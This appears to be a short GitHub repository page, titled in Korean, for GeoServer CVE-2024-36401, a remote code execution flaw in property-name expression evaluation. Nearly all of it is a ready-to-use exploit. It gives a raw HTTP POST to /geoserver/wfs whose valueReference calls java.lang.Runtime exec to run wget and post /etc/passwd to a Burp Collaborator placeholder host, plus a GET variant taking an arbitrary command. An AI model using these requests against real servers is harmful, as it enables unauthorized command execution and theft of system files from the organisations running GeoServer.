punitdarji/geoserver-cve-2024-36401GeoServer CVE-2024-36401: 속성 이름 표현식 평가 시 원격 코드 실행(RCE) 취약점
GeoServer CVE-2024-36401: 속성 이름 표현식 평가 시 원격 코드 실행 (RCE) 취약점
POST /geoserver/wfs HTTP/1.1
Host: PunitDarji
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"wget --post-file=/etc/passwd <BURP COLLOBRATOR>")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
GET /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22<PAYLOAD>%22%29&version=2.0.0